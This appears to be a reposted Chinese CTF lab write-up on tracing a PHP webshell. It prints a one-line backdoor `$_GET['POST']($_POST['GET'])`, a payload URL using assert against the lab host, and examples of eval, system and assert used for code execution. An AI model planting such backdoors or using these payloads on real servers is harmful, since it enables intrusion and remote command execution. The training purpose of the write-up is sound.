WebShell代码分析溯源(第1题)墨者学院

1、访问连接php

2、下载系统源码后直接放到D盾里扫描,扫到后门文件html

 

 3、查看该木马文件shell

<?php error_reporting(0); $_GET['POST']($_POST['GET']);?>函数

1.error_reporting(0);      关闭错误报告post

2.$_GET['POST']($_POST['GET']);     一句话木马,GET传入POST值,再将密码:GET以POST请求方式传到后台ui

所以构造payload:http://219.153.49.228:41996/www/cn-right.php?POST=assert,密码为GET  链接菜刀,字符编码:utf-8编码

 



PHP有不少危险的函数如:eval、system、assert等,那么咱们可使用这些危险的函数来达到后门的目的:spa

eval('phpinfo();');  //eval() 把字符串做为PHP代码执行 echo system('dir'); //执行外部程序,而且显示输出 assert('phpinfo();');// 若是参数是字符串,它将会被当作 PHP 代码来执行 assert(phpinfo()); //assert参数不加引号,也能够执行哦

好了,看到解题思路里都是用POST=assert,那为何不用POST=eval呢?
再看一个例子:code

 $str='assert'; $str('phpinfo();');  //正常执行 $str='eval'; $str('phpinfo();'); //Fatal error: Call to undefined function eval() in D:phpStudyPHPTutorialWWW1.php on line 9  报错了 $str='system'; $str('cd');  //正常执行

可看到,eval并不支持可变变量形式,除了eval,还有echo、print、unset、isset、empty、include、require等语句,因此这里不能使用POST=eval形式,由于eval不支持可变变量形式。
也能够构造如POST=system。post里面为cmd/shell命令,如GET=dir。经过shell命令操做也能够获得key值,当前你要用eval,能够用shell命令生成一个一句话后门便可。htm

 

 

4、在/www/html找到KEY

 

原文出处:https://www.cnblogs.com/WhiteHatKevil/p/10251975.html

相关文章
相关标签/搜索